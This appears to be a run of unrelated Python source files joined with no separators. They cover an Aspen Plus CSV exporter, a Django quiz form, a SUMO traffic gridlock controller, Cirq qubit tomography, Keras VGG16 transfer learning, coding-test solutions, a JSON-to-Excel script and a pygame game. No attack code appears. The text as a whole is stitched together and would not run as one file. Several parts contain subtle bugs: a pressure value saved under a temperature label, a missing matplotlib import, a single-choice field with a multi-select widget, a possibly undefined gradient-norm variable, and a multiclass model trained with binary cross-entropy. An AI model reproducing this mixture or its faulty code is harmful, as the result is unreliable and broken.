import os
import csv

class export():
    def __init__(self, aspen, result_material_list=[], stream_ids=['10']) -> None:
        self.result_folder_path = r'D:\python_workspace\continuous_process\data'
        self.result_file_name = "Result.csv"
        self.setting_parameter_file_name = "Setting_parameter.csv"
        self.aspen = aspen
        self.result_material_list = result_material_list
        self.setting_parameter = []
        self.stream_result = []
        self.stream_ids = stream_ids
        self.total_result = 0 # total mass flow rate of result_material_list

    def save_result(self, folder_name):
        self.result_folder_path = r'D:\python_workspace\continuous_process\data'
        # Save the results to a CSV file

        # initial the setting parameter list and stream result list
        self.initial_all_result_list()

        # Read the material list from the text file
        self.read_result_material_list()

        # Get the input setting parameters
        self.getting_parameters()

        # Read the stream results
        self.read_stream_result()

        # Check if folder exists; if not, create it
        self.result_folder_path = os.path.join(self.result_folder_path, folder_name)
        if not os.path.exists(self.result_folder_path):
            os.makedirs(self.result_folder_path)

        # Save the result to the data folder
        result_path = os.path.join(self.result_folder_path, self.result_file_name)

        with open(result_path, 'w', newline='') as f:
            writer = csv.writer(f)
            writer.writerow(["Stream_ID", "Component", "Mass_flow_rate_kg/hr"])  # Writing headers
            writer.writerows(self.stream_result)  # Writing data

        # save the setting parameter to the data folder
        setting_parameter_file_name = "Setting_parameter.csv"
        setting_parameter_path = os.path.join(self.result_folder_path, setting_parameter_file_name)
        with open(setting_parameter_path, 'w', newline='') as f:
            writer = csv.writer(f)
            writer.writerow(["Setting_parameter", "Value"])  # Writing headers
            writer.writerows(self.setting_parameter)  # Writing data
        return self.stream_result, self.setting_parameter

    def read_result_material_list(self):
        # read the .txt file of properties_material_list to the list
        with open('result_material_list.txt', 'r') as f:
            for line in f:
                self.result_material_list.append(line.strip())
        return self.result_material_list

    def getting_parameters(self):
        # get the input settiing parameters
        for i in range(1, 5):
            path_SEC = f"Data\Blocks\SEC{str(i)}\Input"
            path_HEAT = f"Data\Blocks\HEAT{str(i)}\Input"

            node_SEC_PRES = self.aspen.Tree.FindNode(path_SEC + "\PRES")
            node_HEAT_PRES = self.aspen.Tree.FindNode(path_HEAT + "\PRES")
            node_HEAT_TEMP = self.aspen.Tree.FindNode(path_HEAT + "\TEMP")

            # append to list with the name of SEC and HEAT and value of PRES and TEMP
            self.setting_parameter.append([f"SEC{i}_Pressure", node_SEC_PRES.Value])
            self.setting_parameter.append([f"HEAT{i}_Temperature", node_HEAT_PRES.Value])
            self.setting_parameter.append([f"HEAT{i}_Temperature", node_HEAT_TEMP.Value])
        self.setting_parameter.append(["FLOW", self.aspen.Tree.FindNode("\Data\Streams\FEED-101\Input\TOTFLOW\MIXED").Value])
        self.setting_parameter.append(['Split_fraction', self.aspen.Tree.FindNode(r"\Data\Blocks\B3\Input\FRAC\14").Value])
        # get the oil-hydrogen ratio
        mass_hydrogen = self.aspen.Tree.FindNode(r"\Data\Streams\15\Output\MASSFLOW\MIXED\HYDROGEN").Value
        mass_all_flow = self.aspen.Tree.FindNode(r"\Data\Streams\30\Output\MASSFLMX\MIXED").Value
        hydrogen_ratio = mass_hydrogen / mass_all_flow
        self.setting_parameter.append(['Oil_hydrogen_ratio', hydrogen_ratio])
        return self.setting_parameter

    def read_stream_result(self):
        self.total_result = 0
        for stream_id in self.stream_ids:
            for material in self.result_material_list:
                try:
                    path = f"Data\Streams\{stream_id}\Output\MASSFLOW3\{material}"
                    node = self.aspen.Tree.FindNode(path)
                    if node is None:
                        raise ValueError(f"Could not find node at path {path}")
                    mass_flow_rate = node.Value
                    self.total_result += mass_flow_rate
                    self.stream_result.append([stream_id, material, mass_flow_rate])
                except Exception as e:
                    print(f"Could not retrieve data for stream {stream_id}. Error: {e}")
        self.stream_result.append(['Total', 'Total', self.total_result])
        # save the result of feed_flow_rate / total_result
        all_flow = self.aspen.Tree.FindNode(r"\Data\Streams\30\Output\MASSFLMX\MIXED").Value
        self.stream_result.append(['Aromatic Yield', 'Aromatic Yield',  self.total_result / all_flow])

    def initial_all_result_list(self):
        # initial the setting parameter list and stream result list
        self.setting_parameter = []
        self.stream_result = []
        self.result_material_list = []

    def save_stream_temp(self, strem_temp):
        # save the stream temperature to the data folder
        stream_temp_file_name = "Stream_temp.csv"
        stream_temp_path = os.path.join(self.result_folder_path, stream_temp_file_name)
        with open(stream_temp_path, 'w', newline='') as f:
            writer = csv.writer(f)
            writer.writerow(["Stream_ID", "Temperature"])
            writer.writerows(strem_temp)
        return strem_temp

    def save_SEC_temp(self, SEC_react_temp):
        # save the SEC temperature to the data folder by format [SEC1, 0.0, 10.0]
        SEC_temp_file_name = "SEC_temp.csv"
        SEC_temp_path = os.path.join(self.result_folder_path, SEC_temp_file_name)
        with open(SEC_temp_path, 'w', newline='') as f:
            writer = csv.writer(f)
            writer.writerow(["SEC", "TMIN", "TMAX"])
            writer.writerows(SEC_react_temp)
        return SEC_react_temp

    def save_hydrogen_ratio(self, ratio_list):
        # save the hydrogen ratio to the data folder by format [SEC1, 0.0, 10.0]
        hydrogen_ratio_file_name = "Hydrogen_ratio.csv"
        hydrogen_ratio_path = os.path.join(self.result_folder_path, hydrogen_ratio_file_name)
        print(hydrogen_ratio_path)
        with open(hydrogen_ratio_path, 'w', newline='') as f:
            writer = csv.writer(f)
            writer.writerow(['Split_fraction', 'mass_hydrogen', 'mass_all_flow', 'ratio'])
            writer.writerows(ratio_list)
        print('save hydrogen ratio successfully')
        return ratio_list

    def save_old_result(self, folder_name):
        self.result_folder_path = r'D:\python_workspace\continuous_process\data'
        # Save the results to a CSV file

        # initial the setting parameter list and stream result list
        self.initial_all_result_list()

        # Read the material list from the text file
        self.read_result_material_list()

        # Get the input setting parameters
        self.getting_parameters()

        # Read the stream results
        self.read_stream_result()

        # Check if folder exists; if not, create it
        self.result_folder_path = os.path.join(self.result_folder_path, folder_name)
        if not os.path.exists(self.result_folder_path):
            os.makedirs(self.result_folder_path)

        # Save the result to the data folder
        result_path = os.path.join(self.result_folder_path, self.result_file_name)

        with open(result_path, 'w', newline='') as f:
            writer = csv.writer(f)
            writer.writerow(["Stream_ID", "Component", "Mass_flow_rate_kg/hr"])  # Writing headers
            writer.writerows(self.stream_result)  # Writing data

        # save the setting parameter to the data folder
        setting_parameter_file_name = "Setting_parameter.csv"
        setting_parameter_path = os.path.join(self.result_folder_path, setting_parameter_file_name)
        with open(setting_parameter_path, 'w', newline='') as f:
            writer = csv.writer(f)
            writer.writerow(["Setting_parameter", "Value"])  # Writing headers
            writer.writerows(self.setting_parameter)  # Writing data
        return self.stream_result, self.setting_parameter


# type casting: convert the datatype of a value to another datatype

x = 1    # int
y = 2.0  # float
z = "3"  # string

x = str(x)
y = str(y)
z = str(z)

print(x)
print(y)
print(z*3)


from django import forms
from django.forms.widgets import RadioSelect, CheckboxSelectMultiple
from pollequiz.run.models import QuizTake

class TakeForm(forms.ModelForm):
    class Meta:
        model = QuizTake
        fields = [
            'taker_name',
        ]

class QuestionForm(forms.Form):
    def __init__(self, question, *args, **kwargs):
        super(QuestionForm, self).__init__(*args, **kwargs)
        choice_list = [(ans.id, ans.text) for ans in question.get_answers_list()]
        if question.q_type == 'sing':
            self.fields["answers"] = forms.ChoiceField(choices=choice_list, widget=RadioSelect)
        elif question.q_type == 'mult':
            self.fields["answers"] = forms.ChoiceField(choices=choice_list, widget=CheckboxSelectMultiple)


import tensorflow as tf

a = tf.constant([5,3], name="input_a")
b = tf.reduce_prod(a, name="prod_b")
c = tf.reduce_sum(a, name="sum_c")
d = tf.add(b,c, name="add_d")

sess = tf.Session()

# run in terminal 'tensorboard --logdir="./graphs/"'
writer = tf.summary.FileWriter('./graphs', sess.graph)

sess.run(d)

writer.close()
sess.close()


from __future__ import absolute_import
from __future__ import print_function

import os
import sys
import optparse
import random
import numpy as np
import xml.etree.ElementTree as ET

if 'SUMO_HOME' in os.environ:
    tools = os.path.join(os.environ['SUMO_HOME'], 'tools')
    sys.path.append(tools)
else:
    sys.exit("please declare environment variable 'SUMO_HOME'")
from sumolib import checkBinary
import traci
import traci.constants as tc
import sumolib

SPEED = 5
depart_arr = [
    "-gneE38", "-gneE39", "-gneE40", "-gneE41", "-gneE42", "-gneE43",
    "-gneE44", "-gneE45", "-gneE46", "-gneE47", "-gneE48", "-gneE49"
]
arrival_arr = [
    "gneE38", "gneE39", "gneE40", "gneE41", "gneE42", "gneE43", "gneE44",
    "gneE45", "gneE46", "gneE47", "gneE48", "gneE49"
]
#Init

def init(is_gui):
    if is_gui:
        sumoBinary = os.path.join(os.environ['SUMO_HOME'], 'bin/sumo-gui')
    else:
        sumoBinary = os.path.join(os.environ['SUMO_HOME'], 'bin/sumo')

    sumoCmd = [sumoBinary, "-c", "data/deadlock.sumocfg"]
    tree = ET.parse('data/allRoute.rou.xml')
    root = tree.getroot()
    traci.start(sumoCmd)

def detect_gridlock(vehID, next_lane):
    try:
        locked_veh = traci.lane.getLastStepVehicleIDs(next_lane)[-1]
        locked_veh_speed = traci.vehicle.getSpeed(locked_veh)
        if locked_veh_speed == 0:
            return vehID, locked_veh
    except:
        pass

def control_vehicle(vehID, net):
    try:
        lanes = traci.vehicle.getBestLanes(vehID)[0][5]
        current_edge = traci.lane.getEdgeID(lanes[0])
        nextNodeID = net.getEdge(current_edge).getToNode().getID()
        vehicle_pos = traci.vehicle.getPosition(vehID)
        junction_pos = traci.junction.getPosition(nextNodeID)
        junction_vehicle_distance = traci.simulation.getDistance2D(
            vehicle_pos[0], vehicle_pos[1], junction_pos[0], junction_pos[1])

        if 1 < junction_vehicle_distance < 35:
            judge_num = (traci.lane.getLength(lanes[1]) *
                         (1 - traci.lane.getLastStepOccupancy(lanes[1])))

            if judge_num < 50:
                traci.vehicle.setSpeed(vehID, 0)
            else:
                traci.vehicle.setSpeed(vehID, SPEED)

        else:
            traci.vehicle.setSpeed(vehID, SPEED)

    except:
        pass

#Start
net = sumolib.net.readNet('data/deadlock.net.xml')
#Gridlock error
color_dic = {
    1: (255, 0, 0),
    2: (0, 255, 0),
    3: (0, 0, 255),
    4: (255, 255, 255)
}

def simulation(num_of_vehicles, with_program):
    init(True)
    for i in range(1, num_of_vehicles):
        traci.route.add(
            f"{i}_1",
            ["gneE9", "-gneE1", "-gneE0", "-gneE3", "-gneE26", "gneE38"])
        traci.route.add(
            f"{i}_2",
            ["gneE15", "-gneE3", "-gneE2", "-gneE1", "-gneE24", "gneE45"])
        traci.route.add(
            f"{i}_3",
            ["gneE6", "-gneE2", "-gneE1", "-gneE0", "gneE27", "gneE41"])
        traci.route.add(
            f"{i}_4",
            ["gneE12", "-gneE0", "-gneE3", "-gneE2", "-gneE25", "gneE49"])
        for k in range(1, 5):
            traci.vehicle.addLegacy(f"{k}_{i}", f"{i}_{k}", 0)
            traci.vehicle.setMaxSpeed(f"{k}_{i}", SPEED)
            traci.vehicle.setColor(f"{k}_{i}", color_dic[k])
    while traci.simulation.getMinExpectedNumber() > 0:
        if with_program:
            locked_vehicles = {}
            leaders = []
            gridlock = []
            control_arr = []
            current_time = traci.simulation.getTime()
            all_vehicles = traci.vehicle.getIDList()

            for vehicle in all_vehicles:
                leader = (traci.vehicle.getLeader(vehicle))
                vehicle_lane = traci.vehicle.getLaneID(vehicle)
                try:
                    if vehicle_lane[0] != ":":
                        if leader == None:
                            leaders.append(vehicle)
                        else:
                            leader_lane = traci.vehicle.getLaneID(leader[0])
                            if vehicle_lane != leader_lane:
                                leaders.append(vehicle)
                except:
                    pass
            for leader in leaders:
                leader_lanes = traci.vehicle.getBestLanes(leader)[0][5]
                control_arr.append(leader)

                if len(leader_lanes) > 1:
                    locked_veh = detect_gridlock(leader, leader_lanes[1])
                    if locked_veh:
                        locked_vehicles[locked_veh[0]] = locked_veh[1]

            for init_veh in (locked_vehicles):
                if len(gridlock) > 0:
                    if init_veh not in gridlock[0]:
                        temp = []
                        index = init_veh
                        for k in range(15):
                            try:
                                next_vehicle = locked_vehicles[index]
                                temp.append(next_vehicle)
                                index = next_vehicle
                                if next_vehicle == init_veh:
                                    gridlock.append(temp)
                                    break

                            except:
                                break
                elif len(gridlock) == 0:
                    temp = []
                    index = init_veh
                    for k in range(15):
                        try:
                            next_vehicle = locked_vehicles[index]
                            temp.append(next_vehicle)
                            index = next_vehicle
                            if next_vehicle == init_veh:
                                gridlock.append(temp)
                                break

                        except:
                            break

            for v in control_arr:
                control_vehicle(v, net)
            for vehicles in gridlock:
                for v in vehicles:
                    traci.vehicle.setSpeed(v, SPEED)
        traci.simulationStep()
        if traci.simulation.getTime() == 5000:
            traci.close()
    traci.close()

num_of_vehicles = int(input("Num of vehicles :"))
with_program = int(input("With control program (0=false, 1=true):"))
simulation(num_of_vehicles, bool(with_program))


import cirq
import math
import numpy as np

def single_qubit_tomography(sampler, qubit, circuit, repetitions):
    qc_z = cirq.Circuit(circuit, cirq.ops.measure(qubit, key='z'))
    results = sampler.run(qc_z, repetitions=repetitions)
    rho_11 = np.mean(results.measurements['z'])
    rho_00 = 1.0 - rho_11

    qc_x = cirq.Circuit(circuit, cirq.ops.H(qubit), cirq.ops.measure(qubit, key='z'))
    results = sampler.run(qc_x, repetitions=repetitions)
    rho_01_re = -(2*np.mean(results.measurements['z'])-1)/2

    qc_y = cirq.Circuit(circuit, cirq.rz(math.pi/2).on(qubit), cirq.H(qubit), cirq.ops.measure(qubit, key='z'))
    results = sampler.run(qc_y, repetitions=repetitions)
    rho_01_im = (2*np.mean(results.measurements['z'])-1)/2

    rho_01 = rho_01_re + rho_01_im*1j
    rho_10 = np.conj(rho_01)

    rho = np.array([[rho_00, rho_01],
                    [rho_10, rho_11]])

    return rho

def ut(q0, w, w0, w1, n, t, num):
    for x in range(num-1):
        yield cirq.rx(2*w1*(t/n)*math.cos(w*x*(t/n))).on(q0)
        yield cirq.rz(-w0*(t/n)).on(q0)
    yield cirq.measure(q0, key='out')

w0 = 25
w1 = 2
w = 25.5
t = 4
n = 80

sim = cirq.Simulator()
p1 = [0]
q0 = cirq.NamedQubit('0')
for num in np.arange(1, 81):
    circuit = cirq.Circuit(ut(q0, w, w0, w1, n, t, num))
    state_sim = sim.run(circuit, repetitions=1000)
    p1.append(state_sim.histogram(key='out')[1]/1000)

t= np.arange(0, 4.05, 0.05)
plt.plot(t, p1)
plt.show()
sampler = cirq.Simulator()
qubit = cirq.NamedQubit('qubit')
qc = cirq.Circuit([cirq.ry(math.pi/4).on(qubit), cirq.rz(math.pi/8).on(qubit)])
repetitions = 10000

print(qc)
print(single_qubit_tomography(sampler, qubit, qc, repetitions))

result = cirq.experiments.single_qubit_state_tomography(sampler, qubit, qc, repetitions)
print(result.data)


import numpy as np
import pandas as pd
import os
import cv2
import matplotlib.pyplot as plt
from sklearn.utils import class_weight, shuffle
from tensorflow.keras import applications
from tensorflow.keras import optimizers
from tensorflow.keras.utils import to_categorical
from tensorflow.keras.models import Sequential, Model, load_model
from tensorflow.keras.layers import Dropout, Flatten, Dense
from tensorflow.keras.preprocessing.image import ImageDataGenerator
from tensorflow.keras.callbacks import ModelCheckpoint

foldernames = os.listdir('C:/Users/Ryu/Desktop/pythonEx/animal/raw-img')
categories = []
files = []
i = 0
for k, folder in enumerate(foldernames):
    filenames = os.listdir('C:/Users/Ryu/Desktop/pythonEx/animal/raw-img/'+ folder);
    for file in filenames:
        files.append('C:/Users/Ryu/Desktop/pythonEx/animal/raw-img/' + folder + "/" + file)
        categories.append(k)

df = pd.DataFrame({
    'filename': files,
    'category': categories
})
train_df = pd.DataFrame(columns=['filename', 'category'])
for i in range(10):
    train_df = train_df.append(df[df.category == i].iloc[:500,:])

train_df.head()
train_df = train_df.reset_index(drop=True)
print(train_df)

y = train_df['category']
x = train_df['filename']
y = train_df['category']

x, y = shuffle(x, y, random_state=8)

def centering_image(img):
    size = [256,256]

    img_size = img.shape[:2]

    # centering
    row = (size[1] - img_size[0]) // 2
    col = (size[0] - img_size[1]) // 2
    resized = np.zeros(list(size) + [img.shape[2]], dtype=np.uint8)
    resized[row:(row + img.shape[0]), col:(col + img.shape[1])] = img

    return resized

images = []
for i, file_path in enumerate(train_df.filename.values):
    #read image
    img = cv2.imread(file_path)
    img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)

    #resize
    if(img.shape[0] > img.shape[1]):
        tile_size = (int(img.shape[1]*256/img.shape[0]),256)
    else:
        tile_size = (256, int(img.shape[0]*256/img.shape[1]))

    #centering
    img = centering_image(cv2.resize(img, dsize=tile_size))

    #out put 224*224px
    img = img[16:240, 16:240]
    images.append(img)

images = np.array(images)

rows,cols = 2,5
fig, axes = plt.subplots(nrows=rows, ncols=cols, figsize=(50,50))
for i in range(10):
    path = train_df[train_df.category == i].values[2]
#     image = cv2.imread(path[0])/
    axes[i//cols, i%cols].set_title(path[0].split('/')[-2] + str(path[1]))
    axes[i//cols, i%cols].imshow(images[train_df[train_df.filename == path[0]].index[0]])

#plt.show()
data_num = len(y)
random_index = np.random.permutation(data_num)

x_shuffle = []
y_shuffle = []
for i in range(data_num):
    x_shuffle.append(images[random_index[i]])
    y_shuffle.append(y[random_index[i]])

x = np.array(x_shuffle)
y = np.array(y_shuffle)
val_split_num = int(round(0.2*len(y)))
x_train = x[val_split_num:]
y_train = y[val_split_num:]
x_test = x[:val_split_num]
y_test = y[:val_split_num]

print('x_train', x_train.shape)
print('y_train', y_train.shape)
print('x_test', x_test.shape)
print('y_test', y_test.shape)

y_train = to_categorical(y_train)
y_test = to_categorical(y_test)

x_train = x_train.astype('float32')
x_test = x_test.astype('float32')
x_train /= 255
x_test /= 255

img_rows, img_cols, img_channel = 224, 224, 3
name_animal = []
for i in range(10):
    path = train_df[train_df.category == i].values[2]
    if path[0].split('/')[-2] == 'scoiattolo':
        name_animal.append('squirrel')
    elif path[0].split('/')[-2] == 'cavallo':
        name_animal.append('horse')
    elif path[0].split('/')[-2] == 'farfalla':
        name_animal.append('butterfly')
    elif path[0].split('/')[-2] == 'mucca':
        name_animal.append('cow')
    elif path[0].split('/')[-2] == 'gatto':
        name_animal.append('cat')
    elif path[0].split('/')[-2] == 'pecora':
        name_animal.append('sheep')
    elif path[0].split('/')[-2] == 'gallina':
        name_animal.append('chicken')
    elif path[0].split('/')[-2] == 'elefante':
        name_animal.append('elephant')
    elif path[0].split('/')[-2] == 'ragno':
        name_animal.append('spider')
    elif path[0].split('/')[-2] == 'cane':
        name_animal.append('dog')

base_model = applications.VGG16(weights='imagenet', include_top=False, input_shape=(img_rows, img_cols, img_channel))

add_model = Sequential()
add_model.add(Flatten(input_shape=base_model.output_shape[1:]))
add_model.add(Dense(256, activation='relu'))
add_model.add(Dense(10, activation='softmax'))

model = Model(inputs=base_model.input, outputs=add_model(base_model.output))
model.compile(loss='binary_crossentropy', optimizer=optimizers.SGD(lr=1e-4, momentum=0.9),
              metrics=['accuracy'])

model.summary()

batch_size = 50
epochs = 15

train_datagen = ImageDataGenerator(
        rotation_range=30,
        width_shift_range=0.1,
        height_shift_range=0.1,
        horizontal_flip=True)

train_datagen.fit(x_train)

history = model.fit_generator(
    train_datagen.flow(x_train, y_train, batch_size=batch_size),
    steps_per_epoch=x_train.shape[0] // batch_size,
    epochs=epochs,
    validation_data=(x_test, y_test),
    callbacks=[ModelCheckpoint('VGG16-transferlearning.model', monitor='val_acc')]
)


#https://programmers.co.kr/learn/courses/30/lessons/60061

class Building ():
    def __init__(self, n, build_frame):
        self.n = n
        self.frames = build_frame.copy()
        self.columns = set()
        self.bars = set()
        while len(self.frames):
            self.try_next_frame()

    def try_next_frame(self):
        if not self.frames: return False
        frame, self.frames = self.frames[0], self.frames[1:]
        x, y, a, b = frame

        if b: # add frame
            if a: # add bar
                if (x,y) in self.bars:
                    return False
                if ((x, y-1) in self.columns or (x+1, y-1) in self.columns or ((x-1, y) in self.bars and (x+1, y) in self.bars)):
                    self.bars.add((x,y))
                    return True
                else: return False
            else: # add column
                if (x,y) in self.columns:
                    return False
                if (y==0 or (x,y) in self.bars or (x-1,y) in self.bars or (x,y-1) in self.columns):
                    self.columns.add((x,y))
                    return True
                else: return False
        else: # rm frame
            if a: # rm bar
                if (x,y) not in self.bars:
                    return False
                # bars left and right
                if (x-1,y) in self.bars and (x-1,y-1) not in self.columns and (x,y-1) not in self.columns:
                    return False
                if (x+1,y) in self.bars and (x+1,y-1) not in self.columns and (x+2,y-1) not in self.columns:
                    return False
                # columns above
                if (x,y) in self.columns and (x,y-1) not in self.columns and (x-1,y) not in self.bars:
                    return False
                if (x+1, y) in self.columns and (x+1,y-1) not in self.columns and (x+1,y) not in self.bars:
                    return False

                self.bars.remove((x,y))
                return True
            else: # rm column
                if (x,y) not in self.columns:
                    return False
                # bars above
                if (x-1,y+1) in self.bars and (x-1,y) not in self.columns and ((x-2,y+1) not in self.bars or (x,y+1) not in self.bars):
                    return False
                if (x,y+1) in self.bars and (x+1,y) not in self.columns and ((x-1,y+1) not in self.bars or (x+1,y+1) not in self.bars):
                    return False
                # column above
                if (x,y+1) in self.columns and (x-1,y+1) not in self.bars and (x,y+1) not in self.bars:
                    return False

                self.columns.remove((x,y))
                return True

def solution(n, build_frame):
    building = Building(n, build_frame)
    ans = [(x,y,1) for x,y in building.bars] + [(x,y,0) for x,y in building.columns]
    return sorted(ans)


#NOTA IMPORTANTE DEBE CORRERSE CON PYTHON 3 SINO DA ERRORES EN LOS CARACTERES ESPECIALES
import os
import json  #Libreria para leer JSON
from xlwt import Workbook #Libreria par escritura en Excel

#Define la ejecucion del programa
if __name__ == '__main__':
    listadoArchivos = os.listdir('.') #Obtiene el listado de archivos en un directorio
    listadoLimpio=[]
    metricas=[]

    #Selecciona solo los archivos presentes en el directorio que terminan en .json
    for each in listadoArchivos: #Para todos los archivos en el directorio
        if ".json" in each and ".py" not in each and ".xls" not in each:   #Si contienen .json en algun lado
            listadoLimpio.append(each)  #Agregar a la lista de archivos a procesar

    print(listadoLimpio)

    print("-- TABLAS --")

    for element in listadoLimpio: #Para cada archivo en la lista de archivos
        t=1 #Persistencia del cursor a través de archivos
        y=0#Persistencia del cursor a través de archivos
        cont = 0;#Cursor para definir en que fila del excel estoy escribiendo
        libro = Workbook() #Crear un libro de excel
        cursor=0;
        hoja1 = libro.add_sheet('Tablas') #Agregar una hoja al libro
        hoja1.write(0,1,'Tablas del Cubo')

        hoja1.write(0,2,'Tablas de la Bodega')
        hoja1.write(0,3,'Query')

        hoja1.col(0).width=1000
        hoja1.col(1).width=10000
        hoja1.col(2).width=10000
        hoja1.col(3).width=50000

        file= open(element)
        data=json.load(file)
        for table in data['model']['tables']:
            nombreTabla= table['name']
            hoja1.write(t,y,t)
            hoja1.write(t,y+1,nombreTabla)
            for anno in table['annotations']:
                if anno ['name'].find('_TM_ExtProp_DbTableName')!=-1:
                    hoja1.write(t,y+2,anno['value'])
            for  p in table['partitions']:
                hoja1.write(t,y+3,p['source']['query'])
            t=t+1
        hoja2= libro.add_sheet('Metricas')
        hoja2.write(0,1,'Metricas')
        hoja2.col(0).width=1000
        hoja2.col(1).width=6000
        hoja2.col(2).width=50000
        nombreMetrica=[]
        q=1
        g=0
        u=1

        for tab in data['model']['tables']:
            if  tab ['name'][0].find("M")== -1:  #Son Dimensiones
                print (tab['name'])
            else: #Son Metricaas
                hoja2.write(q,g,q)
                hoja2.write(q,g+1,tab['name'])
                for m in tab['measures']:
                    expr= m['name'],":=",m['expression']
                    #hoja2.write(u,y+2,str(expr)) #con caracteres especiales
                    hoja2.write(u,y+2,expr) #normal
                    u=u+1
                q=u

        jerarquias=[]
        hoja3= libro.add_sheet('Jerarquias')
        hoja3.write(0,1,'Tabla de la Jerarquia')
        hoja3.write(0,2,'Nombre de la Jerarquia')
        hoja3.write(0,3,'Niveles de la Jerarquia')
        hoja3.col(0).width=1000
        hoja3.col(1).width=5000
        hoja3.col(2).width=5000
        hoja3.col(3).width=7000
        cv=1
        ly=3
        lx=2
        cg=1

        for tx in data['model']['tables']:
            if 'hierarchies' in tx :
                for h in tx['hierarchies']:
                    hoja3.write(cv,y,cv)
                    hoja3.write(cv,y+1,tx['name'])
                    hoja3.write(cv,y+2,h['name'])
                    for l in h['levels']:
                        hoja3.write(cg,y+3,l['name'])
                        cg=cg+1
                    cv=cg
        hoja4= libro.add_sheet('Roles')
        hoja4.write(0,1,'Nombre del Rol')
        hoja4.write(0,2,'Permisos')
        hoja4.write(0,3,'Miembros')
        hoja4.col(0).width=1000
        hoja4.col(1).width=15000
        hoja4.col(2).width=4000
        hoja4.col(3).width=15000
        hr=1
        y=0
        cr=1
        for r in data['model']['roles']:
            hoja4.write(hr,y,hr)
            hoja4.write(hr,y+1,r['name'])
            hoja4.write(hr,y+2,r['modelPermission'])
            if 'members' in r:
                for m in r['members']:
                    hoja4.write(cr,y+3,m['memberName'])
                    cr=cr+1
            hr=hr+cr
        libro.save(element.replace('.json','.xls'))


import tensorflow as tf
import numpy as np

class Base_Agent():

    def __init__(self,**params):

        self.log_dir = params.get('log_dir',False)
        self.logging = not(self.log_dir is False)
        self.train_steps = 0
        self.sess = tf.get_default_session()
        self.train_ops = []

    def _finish_agent_setup(self):
        if self.logging:
            self.writer = tf.summary.FileWriter(self.log_dir, tf.get_default_session().graph)
            self.merged = tf.summary.merge_all()
        tf.global_variables_initializer().run()

    def _construct_feed_dict(self,samples):
        raise NotImplementedError

    def _get_regs_add_clip_make_optimizer(self,params,loss,scope = None):

        regularization_loss = tf.reduce_sum(tf.get_collection(
        tf.GraphKeys.REGULARIZATION_LOSSES,
            scope=scope))

        gradients, variables = zip(*self.optimizer.compute_gradients(loss + regularization_loss,var_list = params))
        if self.clip_gradients:
            gradients, grad_norms = tf.clip_by_global_norm(gradients, self.clip_gradients)
        tf.summary.scalar('grad_norms', grad_norms)
        return self.optimizer.apply_gradients(zip(gradients, variables))

    def _train(self, samples,global_step, *args):
        assert len(args) == 1

        feed_dict = self._construct_feed_dict(samples)
        if self.logging:
            _,summary,returns =  self.sess.run([self.train_ops,self.merged, args[0]], feed_dict = feed_dict)
            if self.train_steps % 100 == 0:
                self.writer.add_summary(summary,global_step)

        else:
            _,returns =  self.sess.run([self.train_ops, args[0]], feed_dict = feed_dict)

        self.train_steps += 1
        return returns

    def episode_finished(self,episode_reward,global_step):
        if self.logging:
            summary = tf.Summary(value=[
                    tf.Summary.Value(tag="Episode rewards", simple_value=episode_reward)])
            self.writer.add_summary(summary,global_step)
            self.writer.flush()

    def get_action(self,obs,optimal_action = False):

        return self.policy.get_actions(np.asarray(obs),optimal_action = optimal_action)

    def train(self,*kw):
        raise NotImplementedError

    def add_sample(self,*kw):
        raise NotImplementedError


"""
https://school.programmers.co.kr/learn/courses/30/lessons/120889
삼각형의 완성조건 (1)
: 가장 긴 변의 길이는 다른 두 변의 길이의 합보다 작아야 한다.
sides = [1, 2, 3]
삼각형을 만들 수 있다면
= 가장 큰 값이 다른 값들의 합보다 작다면 -> 1
아니라면 2를 return
"""

def solution(sides):
    answer = 0
    max_num = max(sides)  # 최대값 구해서
    sides.remove(max_num)  # 리스트에서 제거하고
    sum_num = sum(sides)  # 남은 값의 합을 구함

    if max_num < sum_num:  # 조건을 만족하는 지 판별
        answer = 1
    else:
        answer = 2

    print(answer)
    return answer

sides = [199, 72, 222]
solution(sides)


import pygame, sys
from pygame import *
from pygame import mixer
from player import Player
from score import show_score
from life import Life
from bullets import Bullets
from meteor import Meteor
from menu import Menu

pygame.init()
screen = pygame.display.set_mode((1080, 720))
font = pygame.font.SysFont('Cooper black', 30)
ck = pygame.time.Clock()
def draw_text(text, font, color, surface, x, y):
    textobj = font.render(text, 1, color)
    textrect = textobj.get_rect()
    textrect.topleft = (x, y)
    surface.blit(textobj, textrect)

def main_menu():

    click = False
    menu = True
    while menu:

        screen.fill((0,0,0))
        draw_text('Start Menu', font, (255, 255, 255), screen, 20, 20)

        mx, my = pygame.mouse.get_pos()

        button_1 = pygame.Rect(525, 250, 200, 50)
        text1 = font.render('Jouer', False, (255,255,255))

        if button_1.collidepoint ((mx, my)) and click == True :
            menu = False

        pygame.draw.rect(screen, (0, 0, 0), button_1)
        screen.blit(text1, (583, 255))

        click = False
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                menu = False
            if event.type == MOUSEBUTTONDOWN:
                if event.button == 1:
                    click = True

        pygame.display.update()
        ck.tick(60)

main_menu()

class Game:
    def __init__(self,screen):
        self.screen = screen
        self.background = pygame.image.load('.\Images\Background.jpg')
        self.running = True
        self.clock = pygame.time.Clock()
        px = 500
        py = 500
        self.player = Player(px, py)
        self.meteor = Meteor()
        self.score = show_score(10,10)
        self.life = Life(10, 50)
        self.menu = Menu()
        self.bullets = Bullets(2000, 2000)
        self.bullets.state = "ready"
        self.BACKGROUND_SOUND = pygame.mixer.Sound('./Sons/BackgroundMusic.mp3')
        self.BACKGROUND_SOUND.set_volume(0.3)
        self.BACKGROUND_SOUND.play(loops=0, maxtime=0, fade_ms=0)

    def handling_event(self):
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                self.running = False
            if event.type == pygame.KEYDOWN:
                if event.key == pygame.K_SPACE:
                    if self.bullets.state == "ready":
                        self.bullets.rect.x = self.player.rect.x
                        self.bullets.rect.y = self.player.rect.y + 15
                        self.bullets.state = "fire"
                        self.bullets.SHOOT_SOUND.play()
                        self.bullets.velocity[0] = -1

        key = pygame.key.get_pressed()
        if key[pygame.K_LEFT]:
            self.player.velocity[0] = -1
        elif key[pygame.K_RIGHT]:
            self.player.velocity[0] = 1
        else:
            self.player.velocity[0] = 0

        if key[pygame.K_UP]:
            self.player.velocity[1] = -1
        elif key[pygame.K_DOWN]:
            self.player.velocity[1] = 1
        else:
            self.player.velocity[1] = 0

        if self.player.rect.x <= 0:
            self.player.rect.x = 0
        if self.player.rect.x >= 1010:
            self.player.rect.x = 1010
        if self.player.rect.y <= 0:
            self.player.rect.y = 0
